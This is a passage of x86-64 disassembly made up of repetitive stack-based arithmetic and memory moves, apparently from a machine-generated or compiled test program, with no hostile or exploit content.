mov word [rsp + 0x1808], ax
mov rax, qword [rsp + 0xcac0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc228]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1544]
mov word [rsp + 0x180c], ax
movzx eax, word [rsp + 0x176c]
movzx ecx, word [rsp + 0x179c]
cdq
idiv ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbd50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbfa8]
mov rax, qword [rax]
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xcc40]
mov rcx, qword [rsp + 0xbc00]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc638]
mov dword [rcx], eax
lea rax, [rsp + 0x6bc8]
mov qword [rsp + 0xd130], rax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1402c9260]
mov byte [rcx], al
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc470]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x1720]
mov qword [rsp + 0xd138], rax
mov rax, qword [0x1402c9378]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
and eax, ecx
mov byte [rsp + 0x82], al
movzx eax, word [rsp + 0x1730]
mov rcx, qword [rsp + 0xcb08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1680], ax
mov rax, qword [rsp + 0xcf60]
mov qword [rsp + 0xd140], rax
mov rax, qword [rsp + 0xc7c8]
mov rcx, qword [rsp + 0xc1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb68], rax
mov eax, dword [rsp + 0x6b44]
mov dword [rsp + 0x6be8], eax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x68b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69bc], eax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xc020]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74db], al
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17a8]
sub eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x100], al
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x5b]
add eax, ecx
mov byte [rsp + 0xd2], al
lea rax, [rsp + 0x17d0]
mov qword [rsp + 0xd148], rax
mov rax, qword [rsp + 0xc2c0]
mov rcx, qword [rsp + 0xcc38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b8c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
lea rax, [rsp + 0xc278]
mov qword [rsp + 0xd150], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc4d0], rax
mov rax, qword [rsp + 0xc4b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcea8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1402c9288]
mov byte [rcx], al
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xd158], rax
movsx eax, word [0x1402c9318]
movsx ecx, word [rsp + 0x17fc]
shl eax, cl
mov word [rsp + 0x163c], ax
lea rax, [rsp + 0x159c]
mov qword [rsp + 0xd160], rax
movzx eax, word [rsp + 0x1678]
mov rcx, qword [rsp + 0xcbf0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbd80]
mov word [rcx], ax
mov rax, qword [rsp + 0xc290]
mov rcx, qword [rsp + 0xcda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a70], eax
mov rax, qword [rsp + 0xbe78]
mov qword [rsp + 0xd168], rax
mov rax, qword [rsp + 0xc7a8]
mov rcx, qword [rsp + 0xce28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0e8], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6bec], eax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0xc2e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb9], al
lea rax, [rsp + 0x1754]
mov qword [0x1402c9390], rax
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
sub eax, ecx
mov rcx, qword [rsp + 0xc5b0]
mov byte [rcx], al
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6bf0], eax
mov rax, qword [rsp + 0xbd68]
mov ecx, dword [rsp + 0x6b80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a18], eax
mov rax, qword [rsp + 0xc8b0]
mov rcx, qword [rsp + 0xcb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc348]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc98]
mov rax, qword [rax]
mov qword [rsp + 0xd178], rax
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xc7e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1670], ax
movsx eax, word [rsp + 0x17d0]
mov rcx, qword [rsp + 0xccd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9330]
mov word [rcx], ax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0xd180], rax
mov rax, qword [rsp + 0xcb30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc528]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1670]
sub eax, ecx
mov rcx, qword [rsp + 0xc7e0]
mov word [rcx], ax
lea rax, [0x1402c7498]
mov qword [rsp + 0xd188], rax
mov rax, qword [rsp + 0xcc98]
mov rcx, qword [rsp + 0xc508]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd150]
mov qword [rcx], rax
lea rax, [rsp + 0x6bd0]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0xbe00]
mov rax, qword [rax]
mov rcx, qword [0x1402c90a8]
mov qword [rsp + 0xd198], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd198]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc460], rax
mov rax, qword [rsp + 0xbfe8]
movzx eax, byte [rax]
mov byte [rsp + 0x101], al
movsx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0xc6d8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c74de], al
mov rax, qword [rsp + 0xc5e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e8]
or eax, ecx
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0xbdf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc5b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcc68]
mov byte [rcx], al
mov rax, qword [rsp + 0xd050]
movzx eax, word [rax]
mov word [rsp + 0x1810], ax
mov rax, qword [rsp + 0xce00]
mov rcx, qword [rsp + 0xce68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0f8]
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xc700]
mov rcx, qword [rsp + 0xc948]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov eax, dword [rsp + 0x69c8]
mov ecx, dword [0x1402c90a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c4], eax
lea rax, [rsp + 0x17ec]
mov qword [rsp + 0xd1a8], rax
movzx eax, word [rsp + 0x17bc]
mov rcx, qword [rsp + 0xc4e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74c0], ax
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x102], al
movsx eax, byte [rsp + 0x66]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0xd040]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x6bf4], eax
mov rax, qword [rsp + 0xc5a0]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0xcb50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b74]
shl eax, cl
mov dword [rsp + 0x6b80], eax
lea rax, [rsp + 0x1778]
mov qword [0x1402c9398], rax
movzx eax, word [0x1402c9168]
movzx ecx, word [rsp + 0x166c]
sar eax, cl
mov word [rsp + 0x175c], ax
lea rax, [rsp + 0xa1]
mov qword [rsp + 0xd1b8], rax
mov rax, qword [rsp + 0xc520]
movzx eax, word [rax]
cdq
mov ecx, 0xd77
idiv ecx
mov rcx, qword [rsp + 0xbfd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcce0]
movzx eax, word [rax]
mov word [rsp + 0x1814], ax
mov rax, qword [rsp + 0xbe98]
mov rcx, qword [rsp + 0xc6a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc160], rax
mov rax, qword [rsp + 0xc588]
mov eax, dword [rax]
mov dword [rsp + 0x6bf8], eax
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd080]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a98]
mov ecx, dword [rsp + 0x6b64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6be4], eax
movzx eax, byte [rsp + 0xe4]
mov byte [0x1402c90c5], al
lea rax, [rsp + 0x158c]
mov qword [rsp + 0xd1c0], rax
movsx eax, word [rsp + 0x16b8]
movsx ecx, word [rsp + 0x15bc]
sub eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov word [rcx], ax
lea rax, [rsp + 0x93]
mov qword [rsp + 0xd1c8], rax
mov rax, qword [rsp + 0xcc68]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c749f]
sub eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xc958]
mov rax, qword [rax]
mov qword [rsp + 0xd1d0], rax
mov rax, qword [rsp + 0xc2c0]
mov ecx, dword [rsp + 0x6aa8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69d8], eax
lea rax, [rsp + 0xbec8]
mov qword [rsp + 0xd1d8], rax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9100]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0xc6c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1780], ax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xc970]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16d0], ax
lea rax, [rsp + 0x69c0]
mov qword [rsp + 0xd1e8], rax
mov rax, qword [rsp + 0xcf40]
mov rcx, qword [rsp + 0xc3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a44], eax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xd1f0], rax
mov rax, qword [rsp + 0xc078]
mov rcx, qword [rsp + 0xc1f0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbfa0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1700]
mov rcx, qword [rsp + 0xc4e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1402c9170]
mov word [rcx], ax
mov rax, qword [rsp + 0xc818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
xor eax, ecx
mov byte [rsp + 0xc8], al
lea rax, [rsp + 0x100]
mov qword [rsp + 0xd1f8], rax
mov rax, qword [rsp + 0xcb30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1674]
shl eax, cl
mov rcx, qword [rsp + 0xcb00]
mov word [rcx], ax
lea rax, [rsp + 0xbe]
mov qword [rsp + 0xd200], rax
mov rax, qword [rsp + 0xc978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b90], eax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6998]
mov rcx, qword [rsp + 0xcda8]
mov dword [rcx], eax
lea rax, [rsp + 0xbdc8]
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xbee8]
mov rcx, qword [rsp + 0xc668]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0c0], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [0x1402c74ca]
sub eax, ecx
mov byte [0x1402c74df], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov word [rsp + 0x1818], ax
mov rax, qword [rsp + 0xcd10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
add eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74b7]
add eax, ecx
mov rcx, qword [rsp + 0xcf88]
mov byte [rcx], al
movzx eax, word [rsp + 0x15bc]
mov word [rsp + 0x181c], ax
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68fc], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xd210], rax
mov rax, qword [rsp + 0xbfe0]
mov rcx, qword [rsp + 0xbfb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xc540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd1e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x17f0]
movzx ecx, word [rsp + 0x1748]
add eax, ecx
mov word [0x1402c9388], ax
movzx eax, byte [rsp + 0xf5]
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0xc2f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcce0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x180c], ax
mov rax, qword [0x1402c90c8]
movzx eax, word [rax]
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
shl eax, cl
mov byte [rsp + 0xa2], al
mov eax, dword [rsp + 0x6bc4]
mov dword [rsp + 0x6bfc], eax
mov rax, qword [rsp + 0xc168]
mov rcx, qword [rsp + 0xbe00]
mov qword [rsp + 0xd218], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd218]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xce30]
mov rcx, qword [rsp + 0xd058]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcf78], rax
lea rax, [rsp + 0x6b10]
mov qword [rsp + 0xd220], rax
movsx eax, word [0x1402c74e0]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402c7528], ax
movzx eax, byte [rsp + 0x103]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xca38]
mov byte [rcx], al
lea rax, [rsp + 0x6c]
mov qword [rsp + 0xd228], rax
movzx eax, word [rsp + 0x1620]
mov rcx, qword [rsp + 0xce60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f4]
add eax, ecx
mov word [rsp + 0x17bc], ax
lea rax, [rsp + 0xd018]
mov qword [rsp + 0xd230], rax
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a08], eax
lea rax, [rsp + 0xcff8]
mov qword [rsp + 0xd238], rax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b10], eax
movsx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xc098]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x164c]
add eax, ecx
mov rcx, qword [0x1402c9110]
mov word [rcx], ax
movzx eax, byte [0x1402c90c5]
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0xcd60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0xd240], rax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc510]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc340], rax
mov eax, dword [rsp + 0x6b78]
mov dword [rsp + 0x6c00], eax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [rsp + 0xc588]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xcad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc9f8]
movzx ecx, al
mov rax, qword [rsp + 0xcca8]
shr rax, cl
mov qword [rsp + 0xce90], rax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x105], al
lea rax, [rsp + 0x17a0]
mov qword [0x1402c93a0], rax
movsx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0xd020]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
lea rax, [rsp + 0x16b0]
mov qword [rsp + 0xd248], rax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xd6]
xor eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0xc540]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc748]
mov dword [rcx], eax
lea rax, [rsp + 0xc170]
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xcb98]
mov rcx, qword [rsp + 0xc0a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9b0], rax
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6c04], eax
mov rax, qword [rsp + 0xcd58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0xcb40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILGetNext], al
mov rax, qword [rsp + 0xd008]
movsx eax, word [rax]
movsx ecx, word [0x1402c9140]
sub eax, ecx
mov word [rsp + 0x1760], ax
lea rax, [rsp + 0xef]
mov qword [rsp + 0xd258], rax
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17dc]
add eax, ecx
mov word [rsp + 0x167c], ax
mov rax, qword [rsp + 0xc080]
mov eax, dword [rax]
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xc6a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0f8], rax
mov eax, dword [rsp + 0x6af0]
mov ecx, dword [rsp + 0x6a30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b34], eax
lea rax, [rsp + 0xc538]
mov qword [rsp + 0xd260], rax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov byte [0x1402c90c6], al
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1674], ax
lea rax, [rsp + 0x16d0]
mov qword [rsp + 0xd268], rax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x55]
or eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c7498]
shl eax, cl
mov dword [rsp + 0x69c0], eax
lea rax, [rsp + 0xbfc8]
mov qword [rsp + 0xd270], rax
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcdf8]
mov qword [rsp + 0xd278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd278]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b5c], eax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov qword [rsp + 0xd280], rax
mov rax, qword [rsp + 0xd138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xccd0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c749c], ax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xca98]
mov word [rcx], ax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0x8a]
mov qword [rsp + 0xd288], rax
movzx eax, word [rsp + 0x1608]
imul eax, eax, 0x72
mov rcx, qword [rsp + 0xce60]
mov word [rcx], ax
mov rax, qword [rsp + 0xd0f8]
mov qword [rsp + 0xd290], rax
mov rax, qword [rsp + 0xc748]
mov ecx, dword [rsp + 0x69e0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc890]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc5e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcee0], rax
mov rax, qword [rsp + 0xc9d0]
mov eax, dword [rax]
mov dword [rsp + 0x6c0c], eax
mov rax, qword [rsp + 0xcfb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc578]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c752c], ax
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
movzx ecx, word [0x1402c92e8]
add eax, ecx
mov word [rsp + 0x17cc], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0xd298], rax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0xcb88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcd10]
mov byte [rcx], al
mov rax, qword [rsp + 0xc440]
movsx eax, word [rax]
mov rcx, qword [0x1402c9310]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb00]
mov word [rcx], ax
mov rax, qword [rsp + 0xc400]
mov rax, qword [rax]
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xc978]
mov ecx, dword [rsp + 0x69c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc5d0]
mov dword [rcx], eax
lea rax, [rsp + 0xc0e8]
mov qword [rsp + 0xd2a8], rax
mov eax, dword [rsp + 0x6b20]
mov ecx, dword [rsp + 0x6b68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
lea rax, [rsp + 0xdb]
mov qword [0x1402c93a8], rax
mov rax, qword [rsp + 0xc458]
movzx eax, byte [rax]
mov byte [rsp + 0x107], al
mov rax, qword [0x1402c9260]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov rcx, qword [rsp + 0xcb40]
mov byte [rcx], al
mov rax, qword [rsp + 0xcb00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1638], ax
lea rax, [rsp + 0x160c]
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xccc8]
mov qword [rsp + 0xd2b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xbe78]
mov qword [rsp + 0xd2c0], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc310]
mov qword [rsp + 0xd2c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcf10], rax
mov eax, dword [rsp + 0x6bf0]
mov ecx, dword [rsp + 0x6aac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x166c]
and eax, ecx
mov word [0x1402c7500], ax
mov rax, qword [0x1402c9310]
movzx eax, word [rax]
mov word [rsp + 0x1824], ax
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x66]
mov qword [rsp + 0xd2d0], rax
mov rax, qword [rsp + 0xc870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc928]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0xc9b8]
mov ecx, dword [rsp + 0x6af8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x695c], eax
lea rax, [rsp + 0xcf78]
mov qword [rsp + 0xd2d8], rax
mov eax, dword [rsp + 0x68b0]
imul eax, dword [rsp + 0x6bf0]
mov dword [rsp + 0x6b10], eax
mov rax, qword [rsp + 0xd0b8]
mov qword [rsp + 0xd2e0], rax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName], al
movzx eax, word [rsp + 0x15e0]
movzx ecx, word [rsp + 0x174c]
sub eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xc818]
movzx eax, byte [rax]
mov byte [rsp + 0x108], al
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1650]
sub eax, ecx
mov word [rsp + 0x1764], ax
movsx eax, word [0x1402c74c8]
movsx ecx, word [rsp + 0x15e8]
add eax, ecx
mov rcx, qword [rsp + 0xcf70]
mov word [rcx], ax
mov eax, dword [rsp + 0x69a8]
mov dword [rsp + 0x6c10], eax
mov rax, qword [rsp + 0xcff8]
mov rcx, qword [rsp + 0xc530]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov qword [rsp + 0xd2e8], rax
mov rax, qword [rsp + 0xc850]
mov eax, dword [rax]
movzx ecx, al
